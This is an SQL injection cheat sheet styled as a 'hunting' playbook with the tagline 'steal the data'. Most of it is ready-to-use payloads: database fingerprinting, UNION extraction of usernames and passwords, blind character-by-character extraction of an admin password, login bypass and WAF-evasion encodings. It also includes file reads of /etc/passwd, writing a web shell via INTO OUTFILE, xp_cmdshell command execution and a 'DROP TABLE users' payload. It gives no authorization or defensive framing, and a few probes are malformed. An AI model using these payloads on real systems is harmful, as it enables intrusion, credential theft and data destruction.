💉 SQL INJECTION TACTICAL PLAYBOOK 💉

pure hunting edition | break the query | steal the data

📍 INJECTION POINTS

GET params POST data JSON values Headers Cookies User-Agent Referer X-Forwarded-For File names Sort fields Search boxes Login forms Registration Password reset API filters

📌 HIGH-RISK PARAMETERS

id user_id page sort order filter search q category product_id post_id tab limit offset username email password token

🔍 DETECTION PROBES (CLASSIC)

  • ' (single quote) -> error / no results
  • \" (double quote) -> error
  • 1' or '1'='1 -> returns all rows
  • 1' and '1'='2 -> returns nothing (boolean)
  • 1' order by 1-- -> check for column count
  • 1' union select null-- -> version detection
  • 1' sleep(5)-- -> time delay (blind)
  • 1' and 1=1-- vs 1' and 1=2--
  • '; exec xp_cmdshell-- (MSSQL)
  • 1' having 1=1-- -> group by errors
  • 1' group by 1-- -> column mismatch

🎯 DATABASE FINGERPRINTING

-- MySQL ' and version() like '%mysql%'-- ' and @@version like '%mysql%'-- -- MSSQL ' and @@version like '%microsoft%'-- '; select @@version-- -- Oracle ' and (select banner from v$version) like '%oracle%'-- ' union select null from dual-- -- PostgreSQL ' and version() like '%postgres%'-- ' union select null,version()-- -- SQLite ' and sqlite_version() like '%'-- ' union select sqlite_version()--

🚩 SIGNS OF SQLI

Database error messages on screen: "You have an error in your SQL syntax..."
Page content changes between '1' and '1' and '1'='2'
Response time delays when injecting sleep/pause commands
Different HTTP status codes (200 vs 500) for probe payloads
Stripped or escaped quotes in reflected input
Stack traces mentioning SQL, JDBC, MySQL, etc.
Partial data disclosure when using boolean conditions
Login bypass with ' or 1=1--
WAF block pages (could mean they detected a probe)

📋 TESTING STEPS

Inject a single quote ' into every parameter. Note errors, blanks, or changes.
Use boolean logic: ?id=1' and '1'='1 vs ?id=1' and '1'='2 – does content differ?
Try stacking with ; -- to see if multiple queries execute.
Test for time-based blind: 1' OR sleep(5)-- (MySQL) or 1'; WAITFOR DELAY '00:00:05'-- (MSSQL).
Determine column count with ORDER BY (increment until error).
Use UNION SELECT with matching columns to extract data.
Check for error-based extraction (e.g., updatexml() in MySQL).
Test headers like User-Agent and X-Forwarded-For with probes.
Try out-of-band techniques (DNS lookup) if applicable.
If JSON API, inject in string values: {"user": "admin'--"}

⚡ QUICK TEST SEQUENCE

# Found numeric param: GET /product?id=1 # Test immediately: /product?id=1' # error? /product?id=1 and 1=1-- # same as normal? /product?id=1 and 1=2-- # changed/empty? /product?id=1 order by 10-- # error? /product?id=1 union select 1,2,3-- # do numbers appear? # Found string param: GET /user?name=john # Test: /user?name=john' # error? /user?name=john' or '1'='1 # shows all users? /user?name=john' and '1'='2 # no results? /user?name=john' union select 1,2,3-- # union? # Blind test: /product?id=1' OR sleep(3)-- # Did response take 3+ seconds?

🔧 UNION-BASED EXTRACTION

Find Column Count

1' ORDER BY 1-- (200 OK) 1' ORDER BY 2-- (200 OK) 1' ORDER BY 3-- (200 OK) 1' ORDER BY 4-- (ERROR/500) -> 3 columns

Find Visible Columns

1' UNION SELECT 1,2,3-- # Look for numbers 1,2,3 in page output

Extract Data (MySQL)

1' UNION SELECT 1,table_name,3 FROM information_schema.tables-- 1' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- 1' UNION SELECT 1,concat(username,':',password),3 FROM users-- # File reading (if privs) 1' UNION SELECT 1,load_file('/etc/passwd'),3--

Oracle

' UNION SELECT null,table_name FROM all_tables-- ' UNION SELECT null,column_name FROM all_tab_columns WHERE table_name='USERS'--

⏱️ BLIND TECHNIQUES

# Boolean Blind 1' AND (SELECT 'a' FROM users WHERE username='admin' LIMIT 1)='a'-- # If page loads normal -> condition true # If page different -> false # Time Blind (MySQL) 1' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)-- # Extract char by char (ASCII) 1' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='admin') > 100 -- # > 100? if delay/success -> true # Conditional errors (MySQL) 1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT password FROM users LIMIT 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)-- # Forces duplicate key error with data

⛓️ SECOND-ORDER SQLI

# Inject in one place, trigger in another # Step 1: Register with malicious name POST /register username=admin'-- # Step 2: Later, app uses username in query GET /profile SELECT * FROM posts WHERE author='admin'--' # Your payload now executes! # Look for: - Profile updates - Password changes - Contact forms - Review systems - Any stored data later used in SQL

🐬 MySQL Specific

# Comments: -- (space), #, /* */ # Info schema: information_schema.tables information_schema.columns # Version: @@version, version() # Current user: user(), database() # File access: LOAD_FILE('/etc/passwd') INTO OUTFILE '/var/www/shell.php' # Concatenation: concat(), concat_ws(), group_concat() # Conditional: if(condition,true,false) # Time delay: sleep(5), benchmark(1000000,md5('a'))

Microsoft SQL Server

# Comments: --, /* */ # Version: @@version # Current user: SUSER_NAME(), USER_NAME() # Database: DB_NAME() # Tables: SELECT * FROM sysobjects WHERE xtype='U' SELECT * FROM information_schema.tables # Columns: SELECT * FROM syscolumns WHERE id=OBJECT_ID('users') # Stacked queries (supported): '; exec xp_cmdshell 'whoami'-- # Time delay: WAITFOR DELAY '00:00:05' # Error-based: CONVERT(int, @@version)

🐘 PostgreSQL

# Comments: --, /* */ # Version: version() # Current user: current_user, user # Database: current_database() # Tables: SELECT table_name FROM information_schema.tables SELECT * FROM pg_tables # Columns: SELECT column_name FROM information_schema.columns WHERE table_name='users' # Stacked queries (supported): ; DROP TABLE users-- # Time delay: pg_sleep(5) # Error-based: 1 AND (SELECT 1 FROM (SELECT COUNT(*), 1 FROM information_schema.tables GROUP BY 1 HAVING 1=1) AS x)--

🔄 WAF BYPASS TECHNIQUES

# Case changing SeLeCt * FrOm users # Comments inside U/**/SERS SELECT/*!*/FROM # URL Encoding %27 = ' %20 = space %41 = A # Double URL encode %2527 = ' # Hex encoding 0x414243 = 'ABC' # Char() function CHAR(65,66,67) = 'ABC' # Whitespace variants %0A, %0C, %0D, %09, %A0 # Scientific notation 1e1 union select... # No spaces 1'/**/union/**/select/**/1,2,3-- # Alternative operators and = && or = ||

🚫 403/401 BYPASS TESTS

If WAF blocks your payload, try: # Parameter pollution ?id=1&id=2' union select... ?id=1' union select&id=2 # HTTP Parameter Override POST /api Content: id=1' union select... Method override: PUT /api?id=1 # JSON injection {"id": "1' union select..."} # Header injection X-Forwarded-For: 1' or '1'='1 # Cookie injection Cookie: session=abc; user=1' or '1'='1 # Encoding the whole payload %31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74...

📊 RESPONSE ANALYSIS

What to look for: # Error messages "Warning: mysql_fetch_array()..." "Unclosed quotation mark" "Microsoft OLE DB Provider for SQL Server" # Content differences Normal page vs boolean true/false Extra data appearing on page Missing data # Response times <1 sec vs 5+ sec (time-based confirmed) # Status codes 200 OK (vulnerable but masked) 500 Internal Error (syntax error) 404 Not Found (weird behavior) # Partial data leak Showing first user instead of requested Email addresses appearing in weird places # JSON responses {"error":"SQLSTATE[42000]..."} {"data":null} vs {"data":[...]}

⚡ 60-SECOND SQLI CHECK

1. Pick any dynamic parameter /page?id=2 2. Add single quote /page?id=2' (error? blank? change?) 3. Try boolean test /page?id=2 and 1=1-- (same as original?) /page?id=2 and 1=2-- (different?) 4. If time-based possible: /page?id=2' OR SLEEP(3)-- 5. Check login forms user: admin' or 1=1-- pass: anything 6. If any anomaly found: - Determine columns (ORDER BY) - Try UNION SELECT - Extract database name

📋 DAILY HUNT CHECKLIST

[ ] Every numeric param? Probe with ' [ ] Every search box? Test with ' or 1=1-- [ ] Every filter/sort? Try order by 100-- [ ] Every login form? Try ' or 1=1-- [ ] Every API endpoint? Inject in JSON [ ] Every header? Try X-Forwarded-For: ' [ ] Every cookie? Try user=1'-- [ ] Check response times for SLEEP probes [ ] Look for database errors in source [ ] Check for stacked query support (;) [ ] If authenticated, test all POST actions [ ] If file upload, test filename with '

💣 CRITICAL SQLI PATTERNS

MOST DANGEROUS: /login (POST) username=admin' or 1=1-- /search?q=test' union select... /sort?order=id' DESC; drop table users-- /api/users?filter=email:test' or '1'='1 /profile/update (POST) firstname=John' where id=1; -- /download?file=1' union select load_file('/etc/passwd'),2,3-- /debug?dbg=1' and if(ascii(substring(version(),1,1))>50, sleep(5),0)--